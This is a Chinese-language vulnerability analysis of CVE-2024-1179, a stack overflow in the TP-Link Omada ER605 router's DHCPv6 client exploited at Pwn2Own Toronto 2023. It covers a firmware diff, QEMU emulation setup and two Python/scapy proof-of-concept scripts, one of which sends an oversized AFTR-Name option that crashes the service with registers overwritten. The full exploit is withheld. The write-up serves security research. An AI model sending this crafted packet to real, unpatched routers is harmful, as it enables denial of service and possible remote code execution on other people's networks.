Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605
该漏洞在Pwn2Own 中被利用
CVE ID
CVE-2024-1179
CVSS SCORE
7.5, AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AFFECTED VENDORS
TP-Link
AFFECTED PRODUCTS
Omada ER605
VULNERABILITY DETAILS
This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of DHCP options. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.
ADDITIONAL DETAILS
Fixed in firmware: ER605(UN)_V2_2.2.4 Build 20240119
介绍&固件下载 由于对dhcpv6的不熟悉,一开始在做漏洞分析的时候有个问题困扰了我,有dhcp6s这个服务端的存在,为什么漏洞点在client端,而且client端会挂载到546这个端口上,在经过学习了解后知道了client会接收server发送的确认报文
所以漏洞点都能猜到是在处理接收报文时发生的
修复固件:下载链接
漏洞固件:下载链接
漏洞分析 将Fix版本和漏洞版本进行diff,根据漏洞描述,可以很快速的确认漏洞点在dhcpv6-client
中,将dhcpv6c
进行具体的diff,发现了一个函数内memest附近有被fix的情况,基本确定此文件为漏洞文件
这是一个发生在dhcpv6 client
中的漏洞,而这个binary在网上有一部分公开的源码,下载链接 ,借助这个源码来辅助分析大大减低了逆向工作量
0x405F08
这个函数中发现了关键fix
fix版本对case64这里的memcpy条件进行了限制
在处理aftr_name时,字符组合没有大小检查导致的溢出
这是漏洞版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 case 64 : if ( optlen ) { v65 = (a3 + 232 ); if ( a3 != -232 ) { if ( cp ) { tlen = tlen[4 ]; v64 = 1 ; opt = 0 ; while ( tlen ) { if ( optlen < tlen ) break ; memcpy (&v65[opt], cp + v64, tlen); v15 = &tlen[v64]; if ( &tlen[v64] >= optlen ) break ; v16 = &tlen[opt]; v64 = (v15 + 1 ); tlen = v15[cp]; opt = (v16 + 1 ); v16[v65] = 46 ; } } } }
这是fix版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 case 64 : if ( !v62 ) goto LABEL_110; v66 = (const char *)(a3 + 232 ); if ( a3 == -232 || !cp ) goto LABEL_110; size = (unsigned __int8 *)(char )size[4 ]; v65 = 1 ; opt = 0 ; while ( 1 ) { if ( !size ) goto LABEL_110; if ( (int )size < 0 || v62 < (int )size || (int )size >= 64 - opt ) break ; memcpy (&v66[opt], cp + v65, size); v16 = (const char *)&size[v65]; if ( (int )&size[v65] >= v62 ) goto LABEL_110; v17 = &size[opt]; v65 = (int )(v16 + 1 ); size = (unsigned __int8 *)v16[cp]; opt = (int )(v17 + 1 ); v17[(_DWORD)v66] = 46 ; } sub_4043BC(6 , "getAftrName" , "tlen is more than DHCP6_AFTRNAME_SIZE" ); goto LABEL_110;
固件模拟 接下来需要编写Poc来触发此漏洞,这里的dhcpv6需要一些配置文件,所以采取qemu-system来模拟,搭建一个给qemu-system用的网络
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sudo ifconfig ens32 down sudo brctl addbr br0 sudo brctl addif br0 ens32 sudo ifconfig br0 0.0.0.0 promisc up sudo ifconfig ens32 0.0.0.0 promisc up sudo dhclient br0 sudo tunctl -t tap0 sudo brctl addif br0 tap0 sudo ifconfig tap0 0.0.0.0 promisc up sudo qemu-system-mips \ -M malta -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_wheezy_mips_standard.qcow2 \ -append "root=/dev/sda1" \ -net nic,macaddr=00:16:3e:00:00:01 \ -net tap,ifname=tap0,script=no,downscript=no \ -nographic bash run.sh root@debian-mips:~ mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev chroot ./squashfs-root/ sh
发现并没有/etc/init.d/rcS
,需要手动启动dhcp6c,/etc/init.d/dhcp6c
这个也启动不了,改了一些东西总是失败
在启动前需要patch一个地方,将<0改成>=0,ida patch会失败,@cdm258帮我用010修改了,0A 61 00 1A B8 65 00 65 00 1A 70 64 80 9A E2 67
patch前
1 2 3 4 5 6 7 if ( setsockopt(sock, 0xFFFF , 512 , &v41, 4 ) < 0 ) { v16 = _errno_location(); v17 = strerror(*v16); v18 = "setsockopt(SO_REUSEPORT): %s" ; goto LABEL_66; }
patch后
1 2 3 4 5 6 7 if ( setsockopt(sock, 0xFFFF , 512 , &v41, 4 ) >= 0 ) { v16 = _errno_location(); v17 = strerror(*v16); v18 = "setsockopt(SO_REUSEPORT): %s" ; goto LABEL_66; }
接着用以下命令就可以启动dhcp6c了,dhcp6c正常挂载到了546端口上,这个dhcp6c.conf是手动创建的,里面空的(我后面觉得完全可以直接qemu-user来启动,因为不熟悉dhcpv6,走了很多弯路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 / / Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:54249 0.0.0.0:* 1525/rpc.statd udp 0 0 0.0.0.0:821 0.0.0.0:* 1494/rpcbind udp 0 0 0.0.0.0:68 0.0.0.0:* 2237/dhclient udp 0 0 127.0.0.1:853 0.0.0.0:* 1525/rpc.statd udp 0 0 0.0.0.0:111 0.0.0.0:* 1494/rpcbind udp 0 0 0.0.0.0:52945 0.0.0.0:* 2237/dhclient udp 0 0 :::546 :::* 2380/dhcp6c udp 0 0 :::46377 :::* 1525/rpc.statd udp 0 0 :::821 :::* 1494/rpcbind udp 0 0 :::61764 :::* 2237/dhclient udp 0 0 :::111 :::* 1494/rpcbind
Poc 这是第一份远程有响应的Poc,这里有@starrysky的帮助
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import socketfrom pwn import *import binasciifrom threading import Threadfrom scapy.all import *from scapy.layers.inet6 import IPv6, UDPfrom scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientIdcontext(os='linux' , arch='mips' , log_level='debug' ) li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) lg = lambda x : print ('\033[32m' + str (x) + '\033[0m' ) ip = '192.168.10.200' port = 546 def send_dhcp6_reply_and_listen (interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id ): ether_layer = Ether(src=src_mac, dst=dst_mac) ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6) udp_layer = UDP(sport=547 , dport=546 ) dhcp6_reply = DHCP6_Reply(trid=transaction_id) server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1 , lladdr=src_mac)) client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1 , lladdr=dst_mac)) packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / server_id / client_id sendp(packet, iface=interface, verbose=False ) print ("DHCPv6 Reply消息已发送,等待响应..." ) def filter_reply (pkt ): return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id response = sniff(iface=interface, filter ="udp and port 546" , prn=lambda x: x.show(), lfilter=filter_reply, timeout=5 , count=1 ) if response: print ("成功接收到DHCPv6回应。" ) else : print ("未收到DHCPv6回应。" ) interface_name = "br0" source_ipv6 = "fe80::21c:42ff:fee0:61cf" destination_ipv6 = "fe80::216:3eff:fe00:1" source_mac = "00:0c:29:b2:c1:98" destination_mac = "00:16:3E:00:00:01" transaction_id = 0x25d6bd getAftrName = "a" send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)
远程响应
1 2 3 4 5 6 Mar/28/2024 02:41:42: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0 Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option server ID, len 14 Mar/28/2024 02:41:42: DUID: 00:01:00:01:00:00:00:00:00:0c:29:b2:c1:98 Mar/28/2024 02:41:42: dhcp6_get_options: get DHCP option client ID, len 14 Mar/28/2024 02:41:42: DUID: 00:01:00:01:00:00:00:00:00:16:3e:00:00:01 Mar/28/2024 02:41:42: client6_recvreply: XID mismatch
这个case 64通过fix版本进行查看的时候可以发现是aftr_name,scapy里好像没有,所以udp重放了一下流量,拿到bytes类型的Poc,同时在qemu里tcpdump抓了一个包,通过流量包分析出了格式
1 2 3 00000000 07 25 d6 bd 00 02 00 0e 00 01 00 01 00 00 00 00 .%...... ........ 00000010 00 0c 29 b2 c1 98 00 01 00 0e 00 01 00 01 00 00 ..)..... ........ 00000020 00 00 00 16 3e 00 00 01
0x07是Message type
、0x25d6bd是Transaction ID
、0x0002是option
、0x0e是Length
、0001000100000000000c29b2c198是DUID
我们需要控制的是option和length以及后面option对应的数据,控制option为64,length为payload的长度,对应的数据存放payload,这个payload格式需要符合after_name的格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-------------------------------+-------------------------------+ | OPTION_AFTR_NAME: 64 | option-len | +-------------------------------+-------------------------------+ | | | tunnel-endpoint-name (FQDN) | | | +---------------------------------------------------------------+ OPTION_AFTR_NAME: 64 option-len: Length of the tunnel-endpoint-name field in octets. tunnel-endpoint-name: A fully qualified domain name of the AFTR tunnel endpoint. Figure 1: AFTR-Name DHCPv6 Option Format The tunnel-endpoint-name field is formatted as required in DHCPv6 [RFC3315] Section 8 ("Representation and Use of Domain Names"). Briefly, the format described is using a single octet noting the length of one DNS label (limited to at most 63 octets), followed by the label contents. This repeats until all labels in the FQDN are exhausted, including a terminating zero-length label. Any updates to Section 8 of DHCPv6 [RFC3315] also apply to encoding of this field. An example format for this option is shown in Figure 2, which conveys the FQDN "aftr.example.com.". +------+------+------+------+------+------+------+------+------+ | 0x04 | a | f | t | r | 0x07 | e | x | a | +------+------+------+------+------+------+------+------+------+ | m | p | l | e | 0x03 | c | o | m | 0x00 | +------+------+------+------+------+------+------+------+------+
简单来说就是每一串aftr_name字符串前都需要标明长度,从第二个开始长度会转成.,比如上面的例子中,当格式为\x04aftr\x07example\x03com\x00
时,程序解析之后的结果为aftr.example.com,通过这样的格式我写出了以下crash Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import socketfrom pwn import *import binasciifrom threading import Threadfrom scapy.all import *from scapy.layers.inet6 import IPv6, UDPfrom scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientIdcontext(os='linux' , arch='mips' , log_level='debug' ) li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) lg = lambda x : print ('\033[32m' + str (x) + '\033[0m' ) ip = '192.168.10.200' port = 546 def send_dhcp6_reply_and_listen (interface, src_ipv6, dst_ipv6, src_mac, dst_mac, transaction_id ): ether_layer = Ether(src=src_mac, dst=dst_mac) li(ether_layer) ipv6_layer = IPv6(src=src_ipv6, dst=dst_ipv6) li(ipv6_layer) udp_layer = UDP(sport=547 , dport=546 ) li(udp_layer) dhcp6_reply = DHCP6_Reply(trid=transaction_id) li(dhcp6_reply) server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1 , lladdr=src_mac)) li(server_id) client_id = DHCP6OptClientId(duid=DUID_LLT(hwtype=1 , lladdr=dst_mac)) p1 = b'\x00\x40\x03\x00' p2 = (b'\xff' + b'a' * 0xff ) * 3 li(hex (len (p2))) p1 += p2 packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / p1 li(bytes (packet)) sendp(packet) print ("DHCPv6 Reply消息已发送,等待响应..." ) def filter_reply (pkt ): return DHCP6_Reply in pkt and pkt[DHCP6_Reply].trid == transaction_id response = sniff(iface=interface, filter ="udp and port 546" , prn=lambda x: x.show(), lfilter=filter_reply, timeout=5 , count=1 ) if response: print ("成功接收到DHCPv6回应。" ) else : print ("未收到DHCPv6回应。" ) interface_name = "br0" source_ipv6 = "fe80::21c:42ff:fee0:61cf" destination_ipv6 = "fe80::216:3eff:fe00:1" source_mac = "00:0c:29:b2:c1:98" destination_mac = "00:16:3E:00:00:01" transaction_id = 0x25d6bd getAftrName = "a" send_dhcp6_reply_and_listen(interface_name, source_ipv6, destination_ipv6, source_mac, destination_mac, transaction_id)
远程crash
1 2 3 Mar/28/2024 06:42:03: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0 Mar/28/2024 06:42:03: dhcp6_get_options: get DHCP option opt_64, len 768 Segmentation fault
gdbserver调试之后发现在memcpy这里产生了崩溃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 ────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────────────── *V0 0x7fbda0e0 ◂— 0x61616161 ('aaaa' ) *V1 0x7fbdb004 *A0 0x7fbdab15 ◂— 0x61616161 ('aaaa' ) *A1 0x7fbd9c05 ◂— 0x61616161 ('aaaa' ) *A2 0xfffffffc *A3 0x61616161 ('aaaa' ) *T0 0x61616161 ('aaaa' ) *T1 0xfffff0db *T2 0x7fbda0e4 ◂— 0x61616161 ('aaaa' ) *T3 0x61000000 *T4 0x706f2050 ('P op' ) T5 0x0 T6 0xe *T7 0x6e6f6974 ('tion' ) *T8 0x42a06c —▸ 0x77f2cefc ◂— move $v0 , $a0 *T9 0x77f2cefc ◂— move $v0 , $a0 *S0 0x7fbd9c00 ◂— 0x616161ff *S1 0x7fbd9ff8 ◂— 0x0 S2 0x5 S3 0x4018b1 —▸ 0x64f2f0 ◂— 0x0 S4 0x77f5b000 S5 0x77f5b000 S6 0x77f5e518 —▸ 0x77ebb000 ◂— 0x464c457f S7 0x77f5fd8c ◂— 1 S8 0x0 GP 0x77f652c0 FP 0x0 *SP 0x7fbd9720 ◂— 0x7 *PC 0x77f2d1b4 ◂— sw $t0 , -4($v1 ) ──────────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────── ► 0x77f2d1b4 sw $t0 , -4($v1 ) 0x77f2d1b8 sltiu $t0 , $t1 , 0x13 0x77f2d1bc beqz $t0 , 0x77f2d160 0x77f2d1c0 addiu $a0 , $a0 , 0x10 0x77f2d1c4 addiu $a3 , $a2 , -0x14 0x77f2d1c8 srl $a3 , $a3 , 4 0x77f2d1cc addiu $v1 , $a3 , 1 0x77f2d1d0 sll $v1 , $v1 , 4 0x77f2d1d4 addiu $a2 , $a2 , -0x11 0x77f2d1d8 sll $a3 , $a3 , 4 0x77f2d1dc addu $a1 , $a1 , $v1 ──────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ sp 0x7fbd9720 ◂— 0x7 01:0004│ 0x7fbd9724 —▸ 0x413f34 ◂— 'dhcp6_get_options' 02:0008│ 0x7fbd9728 —▸ 0x4137e4 ◂— addi $s4 , $v1 , 0x6567 /* 'get DHCP option %s, len %d' */ 03:000c│ 0x7fbd972c —▸ 0x42a758 ◂— 'opt_64' 04:0010│ 0x7fbd9730 ◂— 0x300 05:0014│ 0x7fbd9734 ◂— '<8>Mar 28 06:46:46 : ' 06:0018│ 0x7fbd9738 ◂— 'ar 28 06:46:46 : ' 07:001c│ 0x7fbd973c ◂— '8 06:46:46 : ' ────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x77f2d1b4 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x400000 0x41a000 r-xp 1a000 0 /usr/sbin/dhcp6c 0x42a000 0x42b000 rw-p 1000 1a000 /usr/sbin/dhcp6c 0x42b000 0x42c000 rwxp 1000 0 [anon_0042b] 0x647000 0x69c000 rwxp 55000 0 [heap] 0x77d53000 0x77d6c000 r-xp 19000 0 /lib/libeasylogger.so 0x77d6c000 0x77d6d000 rw-p 1000 9000 /lib/libeasylogger.so 0x77d6d000 0x77d72000 rw-p 5000 0 [anon_77d6d] 0x77d72000 0x77d87000 r-xp 15000 0 /lib/libubox.so 0x77d87000 0x77d88000 rw-p 1000 5000 /lib/libubox.so 0x77d88000 0x77e6f000 r-xp e7000 0 /usr/lib/libiconv.so.2 0x77e6f000 0x77e70000 rw-p 1000 d7000 /usr/lib/libiconv.so.2 0x77e70000 0x77e86000 r-xp 16000 0 /lib/libuci.so 0x77e86000 0x77e87000 rw-p 1000 6000 /lib/libuci.so 0x77e87000 0x77ea9000 r-xp 22000 0 /lib/libgcc_s.so.1 0x77ea9000 0x77eaa000 rw-p 1000 12000 /lib/libgcc_s.so.1 0x77eaa000 0x77eba000 r-xp 10000 0 /usr/lib/liblogger.so 0x77eba000 0x77ebb000 rw-p 1000 0 /usr/lib/liblogger.so 0x77ebb000 0x77f4d000 r-xp 92000 0 /lib/ld-musl-mipsel-sf.so.1 0x77f5c000 0x77f5e000 rw-p 2000 91000 /lib/ld-musl-mipsel-sf.so.1 0x77f5e000 0x77f60000 rwxp 2000 0 [anon_77f5e] 0x7fbba000 0x7fbdb000 rw-p 21000 0 [stack] 0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso] pwndbg> p/x 0x77f2d1b4-0x77ebb000 $1 = 0x721b4
此时可以看到寄存器已经被劫持,exp这里就不详细展开了,至此Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605漏洞分析完成
Reference https://www.zerodayinitiative.com/advisories/ZDI-24-085/
https://www.arvik.top/article/51536621.html
https://zhuanlan.zhihu.com/p/653315890
https://community.cisco.com/t5/%E7%BD%91%E7%BB%9C%E6%96%87%E6%A1%A3/%E5%8E%9F%E5%88%9B-dhcpv6-%E8%AF%A6%E6%83%85%E5%8F%8A%E5%85%B6%E6%8A%A5%E6%96%87%E4%BB%8B%E7%BB%8D-%E9%99%84%E9%85%8D%E7%BD%AE%E6%A1%88%E4%BE%8B%E5%8F%8A%E9%AA%8C%E8%AF%81%E5%91%BD%E4%BB%A4/ta-p/4372251
https://datatracker.ietf.org/doc/html/rfc6334